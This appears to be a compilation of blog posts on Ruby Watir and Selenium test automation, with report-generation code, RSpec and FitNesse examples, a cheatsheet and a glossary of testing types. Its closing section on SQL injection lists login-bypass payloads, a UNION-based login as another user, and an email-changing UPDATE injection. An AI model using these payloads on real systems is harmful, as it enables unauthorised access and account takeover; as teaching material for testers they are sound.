Custom HTML report for Ruby(Watir/Selenium) Base Automation framework

Requirement:

Sample HTML report for any ruby based Automation Testing Framework

Installation/Changes :

1. Create code.rb file and paste the below code.

2. Create folder named as Results in the same location.

Code:

def get_time_name
$time=Time.now
$time_name="#{$time.hour.to_s}-#{$time.min.to_s}-#{$time.sec.to_s}-#{$time.day.to_s}-#{$time.mon.to_s}-#{$time.year.to_s}"
$result_date = "#{$time.day.to_s}-#{$time.month.to_s}-#{$time.year.to_s}"
end
def create_report
get_time_name
@result_file_name="Report"+"-"+$time_name
@full_file_name="Results/#{@result_file_name}.html"
$report=File.open(@full_file_name,'w')
end
def insert_head_title(title)
$report.puts "<html><head>
<title> #{title} </title>
</head>"
end
def start_table
$report=File.open(@full_file_name,'a')
$report.puts "<table border=1>
<tr>
<th>Test Case Name</th>
<th>Test Case Description</th>
<th>Browser Name</th>
<th>Result</th>
<th>Remarks</th>
</tr>"
$report.close
end
def insert_reportname_date(name,date)
$report.puts "<body bgcolor='#5CB3FF'>
<p align='left' size=2>
<b><img src='https://encrypted-tbn1.google.com/images?q=tbn:ANd9GcQB0l0xnGOHuRPFMMMi-OVg39nfAU1Ogvxr7Okk7DD8ZpqlMF9r'></img> </b>
</p>
<p size=12>
<center> <b><u>#{name} </u></b></center>
</p>
<p align='right' size=12>
<b>Date: #{date} </b>
</p>"
$report.close
end
def report_row(*details)
$report=File.open(@full_file_name,'a')
name=details[0]
desc=details[1]
browser=details[2]
result=details[3]
reason=details[4]
if result.downcase == "pass"
$report.puts "<tr>
<td>#{name}</td>
<td> #{desc}</td>
<td> #{browser} </td>
<td bgcolor='green'>#{result}</td>
<td>#{reason}</td>
</tr>"
else
$report.puts "<tr>
<td>#{name}</td>
<td> #{desc}</td>
<td> #{browser} </td>
<td bgcolor='red'>#{result}</td>
<td>#{reason}</td>
</tr>"
end
$report.close
end
def close_table
$report=File.open(@full_file_name,'a')
$report.puts "</table></br>"
$report.close
end
def summary_report(overall,passed,failed)
$report_overall=overall
$report_pass=passed
$report_fail=failed
$report=File.open(@full_file_name,'a')
$report.puts "<p> <b>Total Test cases : #{$report_overall} </b></p>
<p> <b>Passed : #{$report_pass} </b></p>
<p> <b>Failed : #{$report_fail} </b></p>
</body>
</html>"
$report.close
end

create_report
insert_head_title("Raveendran -- Sample HTML Report")
insert_reportname_date("My Test Report",$result_date )
start_table
report_row("Check Google Home Page","Check The Title in Google Home Page","IE","PASS","Title Present")
report_row("Check Google Home Page","Check The Title in Google Home Page","FF","FAIL","Title Not Present")
close_table
summary_report(2,1,1)

 

Output HTML File:

Convert web page(using Watir-Webdriver) to PDF File (Its my 150th post :) )

-

Question/Requirement:

1. I just navigated to the webpage “http://humblelittlerubybook.com/book/hlrb.pdf&#8221;

2. I want to Save the web page as a PDF File.

Solution:

1. Install Ruby

2. Install Watir-webdriver (CMD>gem install watir-webdriver)

3. Register Autoitx3.dll (http://raveendran.wordpress.com/2012/06/15/how-to-installregister-autoitx3-dll/)

4. Run the Below Script

Code:

require 'rubygems'
require 'watir-webdriver'
require 'win32ole'

ie=Watir::Browser.new :ie
ie.goto(“http://humblelittlerubybook.com/book/hlrb.pdf&#8221;)

sleep 15
$autoit = WIN32OLE.new(“AutoItX3.Control”)

$autoit.Send(“{ALTDOWN}”)
sleep 3
$autoit.Send(“f”)
sleep 3
$autoit.Send(“{ALTUP}”)
sleep 3

$autoit.Send(“{DOWN}”)
sleep 3
$autoit.Send(“{DOWN}”)
sleep 1
$autoit.Send(“{DOWN}”)
sleep 1
$autoit.Send(“{DOWN}”)
sleep 1
$autoit.Send(“{DOWN}”)
sleep 1
$autoit.Send(“{DOWN}”)
sleep 1
$autoit.Send(“{ENTER}”)
sleep 10
$autoit.Send(“D:\\test1.pdf”)
sleep 3
$autoit.Send(“{TAB}”)
sleep 1
$autoit.Send(“{TAB}”)
sleep 1
$autoit.Send(“{ENTER}”)
sleep 1

Note:

1. Depends upon your browser you may need to add/remove the {TAB} and {DOWN}  lines

2. Change the destination folder.

Output:

PDF file saved in the mentioned location D:\\test1.pdf

RSpec + Watir WebDriver

Installation:

1. Install Ruby

2. CMD>gem install watir-webdriver

3. CMD>gem install rspec

Code:

google_search.rb

require 'rubygems'
require 'watir-webdriver'

class Google
def search(browser,term,result)

if browser.downcase=="ie"
br= :ie
elsif browser.downcase=="ff"
br= :ff
elsif browser.downcase=="chrome"
br= :chrome
else
br= :ie
end

$ie=Watir::Browser.new br
$ie.goto("http://google.com")
$ie.text_field(:name,'q').set(term)
sleep 3
$ie.button(:name,'btnG').click
sleep 3
$result=$ie.text.downcase.include?(result)

$ie.close
end

end

googleSearch_spec.rb

require 'rubygems'
require 'rspec'
require 'google_search'

describe Google, "#Searchresult" do
it "returns the expected result in search result page" do
bowling = Google.new
bowling.search("chrome","Raveendran","ruby")
$result.should eq(true)
end
end

describe Google, "#Searchresult" do
it "returns the expected result in search result page" do
bowling = Google.new
bowling.search("chrome","Raveendran","wordpress")
$result.should eq(true)
end
end

describe Google, "#Searchresult" do
it "returns the expected result in search result page" do
bowling = Google.new
bowling.search("chrome","Watir, Selenium,Cucumber highline","raveendran")
$result.should eq(true)
end
end

describe Google, "#Searchresult" do
it "returns the expected result in search result page" do
bowling = Google.new
bowling.search("chrome","Ruby highline","raveendran")
$result.should eq(true)
end
end

RUN THE RSPEC code:

1. Navigate to the folder where files available

>rspec googleSearch_spec.rb

 

OUTPUT:

It will launch Chrome browser and will execute the test cases. Finally You will get the output like,

Started ChromeDriver
port=4113
version=14.0.836.0
.Started ChromeDriver
port=4164
version=14.0.836.0
.Started ChromeDriver
port=4218
version=14.0.836.0
.Started ChromeDriver
port=4260
version=14.0.836.0
.

Finished in 77.28 seconds
4 examples, 0 failures

 

Watir-webdriver cheatsheet

Getting Started

Load the Watir Webdriver library

require 'watir-webdriver'

Open a browser (Ex: Internet Explorer)

driver = Watir::Browser.new :ie

Go to a specified URL

driver.goto 'http://www.orbitz.com/'

Close the browser

driver.close

Access an Element

Type something in the Text box or text area

driver.text_field(:id,'airOrigin').set("MAA")

To Clear the text from text field 

driver.text_field(:id,'airOrigin').clear

Button

To click the button
driver.button(:id,'BUTTON_ID'').click

Drop down list

To select the value from list
driver.select_list(:id,'airStartTime').select("1 am")

To get the selected value from select field
 driver.select_list(:id,'airStartTime').value

Check box

To clik the check box

driver.checkbox(:id,'airNonStopsPreferred').click
OR
driver.checkbox(:id,'airNonStopsPreferred').set
To know the clicked? or not ?
driver.checkbox(:id,'airNonStopsPreferred').set?

Radio button driver.radio(:id,'htlChoice').click

To verify Flights radio button selected or not

driver.radio(:id,'htlChoice').set?

#if it returns TRUE then radio button already selected.

To get the title of the webpage puts driver.title

Return true if the specified text appears on the TAG

 puts driver.li(:class,'welcomeText').text.include("Welcome to Orbitz")

To Click SPAN Elements driver.span(:text,'Find Flights').click

Watir — Integration with Fitnesse

Fitnesse –Open source Test managment and acceptance testing tool

Watir –Open source Functional testing tool

 

1. Download the JAR file from http://fitnesse.org/FrontPage.FitNesseDevelopment.DownLoad

2. Save it in d:\fitnesse\fitnesse.jar

3. Install Ruby

4. Install the gem fit with the help of command

>gem install fit

>gem install watir

5. Open Command Prompt and navigate to

D:\fitness>java -jar fitnesse.jar

FitNesse (v20100103) Started…
port:              80
root page:         fitnesse.wiki.FileSystemPage at ./FitNesseRoot
logger:            none
authenticator:     fitnesse.authentication.PromiscuousAuthenticator
html page factory: fitnesse.html.HtmlPageFactory
page version expiration set to 14 days.

6. Open Browser and Navigate to “http://localhost/&#8221;

7. Click Properties or Navigate to “http://localhost/FrontPage?properties&#8221;

Change as per the snapshot and click Save Properties


8. Click “Edit”

Paste this code

!define COMMAND_PATTERN {ruby -I %p C:/ruby/lib/ruby/gems/1.8/gems/fit-1.2/bin/FitServer.rb}
!path D:/fit
!|mytest.Division|
|term|result_term|search?|
|Raveendran |music |true|
|Ruby |program |true|

9. In D:\ create folder named as “fit”
“Fit” folder should contain another one forlder named as “mytest”
“mytest” folder should contain “division.rb”

10.

Open division.rb file

paste the code

require ‘fit/column_fixture’
require ‘rubygems’
require ‘watir’

module Mytest

class Division < Fit::ColumnFixture
attr_accessor :term, :result_term
def search
@ie=Watir::IE.new
@ie.goto(“google.com”)
puts “Entering Term”
@ie.text_field(:name,’q').set(@term)
@ie.button(:name,’btnG’).click
@output = @ie.text.include?(@result_term)
@ie.close
return @output

end
end

end

11. Click “Test” in “http://localhost&#8221;

12. Fitnesse will provide the test result for your definitions. For ex, see the snapshot

Watir — Priority for using attributes

Source:

<input id=”query1″ type=”text” autocomplete=”off” value=”" name=”query”/>

Code:

require ‘rubygems’
require ‘watir’
$ie=Watir::IE.new
$ie.maximize
$ie.goto(“http://search.aol.in/aol/webhome&#8221;)
$ie.text_field(:id,’query1′).value=”Raveendran”

Issue:

Change the last line of the code like this

$ie.text_field(:name,’query’).value=”Raveendran”

It is not working :) . Rit ?

Solution:

So the first priority goes to the “ID” attirbute  to access the input fields.

Watir vs Selenium

Watir — Opens browser as a normal way how the user opens it. Selenium — Create object for browser and works with that object in mentioned/particular port.

Watir — Changing registry details(Proxy-http,socks) is very easy. Selenium — Changing registry details(Proxy-http,socks) is not easy work.

Selenium — If your net connection is very slow then Selenium MAY returns error because of waitForPageToLoad exceeds(We can handle it by its not easy for beginneers) and  also sleep commads most of the times fails.  Watir — Watir waits until the page was fully loaded. We can use sleep commands

Watir is a Ruby library that wraps the COM interface to Internet Explorer. COM is a long-standing Windows-based technology for making libraries accessible to various languages. This allows access to the Document Object Model (DOM) so it doesn’t matter where on the page an object exists, what matters is how you identify it (id, name, title, etc).

Selenium uses a unique mechanism for driving browsers. Selenium’s automation engine is written in JavaScript and runs inside a browser. The engine, called a browser bot, is embedded in a page that accesses the application under test in a separate frame. Because of cross-site scripting, Selenium’s browser bot has to be served from the same site as the application under test – requiring installation on the server.

Selenium supports a command language, called Selenese. Tests can be embedded in an HTML table, which will be read in by the browser bot and then executed.

Both tools run tests directly in a browser, and both do it in a way that allows the browser to be minimized while the tests are running, which means you don’t have to dedicate a machine to running tests.(if you open more tahn 10 browsers tehn may be your machine hangs depends upon hardware)

Watir was designed to be easy to learn, it allows page elements to be identified by index, name, ID, value or adjacent text.  Now Watir supports IE, Firefox,chrome,Safari with the help of  Firewatir, SafariWatir,chrome Watir. Complaint: Watir is currently limited to IE browsers on Windows, Firewatir supports  firefox browsers. So we need to write separate code(or object) for each and every browsers. But Selenium does in Single attempt.

Selenium was designed for breadth of coverage- multiple browsers and platforms. It was expected to be used by the same developers who built the application. Drawback: Selenium requires a server-side installation.

You can also express Selenium tests in a programming language, taking advantage of language-specific drivers that communicate in Selenese to the browser bot.

Learning Watir –> Without Ruby knowledge its not possible to write the watir script for one web application.

Learning Selenium –> Programming skill is not Major. But the QA should familiar with anyone of the language from Ruby/Java/perl/Puthon/c#/Groovy/PHP to implement the code for any web application.

Watir — Use of innerText method

Watir — Use of innerText method

code

require ‘watir’
ie = Watir::IE.new
ie.goto(“http://www.google.com/ncr&#8221;)
my_div = ie.element_by_xpath(“//div[@id='gbar']“)
puts my_div.innerText

Output:

Web Images Videos Maps News Shopping Gmail more ?Groups
Books
Scholar
Finance
Blogs
YouTube
Calendar
Photos
Documents
Reader
Sites
even more »

Types of testing

• Black box testing – You don’t need to know the internal design or have deep knowledge about the code to conduct this test. It’s mainly based on functionality and specifications, requirements.
• White box testing – This test is based on knowledge of the internal design and code. Tests are based on code statements, coding styles, etc.
• unit testing – the most ‘micro’ scale of testing; to test particular functions or code modules. Typically done by the programmer and not by testers, as it requires detailed knowledge of the internal program design and code. Not always easily done unless the application has a well-designed architecture with tight code, may require developing test driver modules or test harnesses.
• incremental integration testing – continuous testing of an application as new functionality is added; requires that various aspects of an application’s functionality be independent enough to work separately before all parts of the program are completed, or that test drivers be developed as needed; done by programmers or by testers.
• integration testing – testing of combined parts of an application to determine if they function together correctly. The ‘parts’ can be code modules, individual applications, client and server applications on a network, etc. This type of testing is especially relevant to client/server and distributed systems.
• functional testing – black-box type testing geared to functional requirements of an application; this type of testing should be done by testers. This doesn’t mean that the programmers shouldn’t check that their code works before releasing it (which of course applies to any stage of testing.)
• system testing – black-box type testing that is based on overall requirements specifications; covers all combined parts of a system.
• end-to-end testing – similar to system testing; the ‘macro’ end of the test scale; involves testing of a complete application environment in a situation that mimics real-world use, such as interacting with a database, using network communications, or interacting with other hardware, applications, or systems if appropriate.
• sanity testing or smoke testing – typically an initial testing effort to determine if a new software version is performing well enough to accept it for a major testing effort. For example, if the new software is crashing systems every 5 minutes, bogging down systems to a crawl, or corrupting databases, the software may not be in a ‘sane’ enough condition to warrant further testing in its current state.
• regression testing – re-testing after fixes or modifications of the software or its environment. It can be difficult to determine how much re-testing is needed, especially near the end of the development cycle. Automated testing tools can be especially useful for this type of testing.
• acceptance testing – final testing based on specifications of the end-user or customer, or based on use by end-users/customers over some limited period of time.
• load testing – testing an application under heavy loads, such as testing of a web site under a range of loads to determine at what point the system’s response time degrades or fails.
• stress testing – term often used interchangeably with ‘load’ and ‘performance’ testing. Also used to describe such tests as system functional testing while under unusually heavy loads, heavy repetition of certain actions or inputs, input of large numerical values, large complex queries to a database system, etc.
• performance testing – term often used interchangeably with ‘stress’ and ‘load’ testing. Ideally ‘performance’ testing (and any other ‘type’ of testing) is defined in requirements documentation or QA or Test Plans.
• usability testing – testing for ‘user-friendliness’. Clearly this is subjective, and will depend on the targeted end-user or customer. User interviews, surveys, video recording of user sessions, and other techniques can be used. Programmers and testers are usually not appropriate as usability testers.
• install/uninstall testing – testing of full, partial, or upgrade install/uninstall processes.
• recovery testing – testing how well a system recovers from crashes, hardware failures, or other catastrophic problems.
• failover testing – typically used interchangeably with ‘recovery testing’
• security testing – testing how well the system protects against unauthorized internal or external access, willful damage, etc; may require sophisticated testing techniques.
• compatability testing – testing how well software performs in a particular hardware/software/operating system/network/etc. environment.
• exploratory testing – often taken to mean a creative, informal software test that is not based on formal test plans or test cases; testers may be learning the software as they test it.
• ad-hoc testing – similar to exploratory testing, but often taken to mean that the testers have significant understanding of the software before testing it.
• context-driven testing – testing driven by an understanding of the environment, culture, and intended use of software. For example, the testing approach for life-critical medical equipment software would be completely different than that for a low-cost computer game.
• user acceptance testing – determining if software is satisfactory to an end-user or customer.
• Comparison testing – comparing software weaknesses and strengths to competing products.
• alpha testing – testing of an application when development is nearing completion; minor design changes may still be made as a result of such testing. Typically done by end-users or others, not by programmers or testers.
• beta testing – testing when development and testing are essentially completed and final bugs and problems need to be found before final release. Typically done by end-users or others, not by programmers or testers.
• mutation testing – a method for determining if a set of test data or test cases is useful, by deliberately introducing various code changes (‘bugs’) and retesting with the original test data/cases to determine if the ‘bugs’ are detected. Proper implementation requires large computational resources.

SQL injection

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database
layer of an application. The vulnerability is present when user input is either incorrectly filtered for
string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby
unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur
whenever one programming or scripting language is embedded inside another.

SELECT * FROM users WHERE name = ‘a’ OR ‘t’='t’;

x’;UPDATE members SET email = ‘steve@unixwiz.net’ WHERE email = ‘bob@example.com

Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricks

* admin’ –
* admin’ #
* admin’/*
* ‘ or 1=1–
* ‘ or 1=1#
* ‘ or 1=1/*
* ‘) or ’1′=’1–
* ‘) or (’1′=’1–
* ….

* Login as different user (SM*)
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

*Old versions of MySQL doesn’t support union queries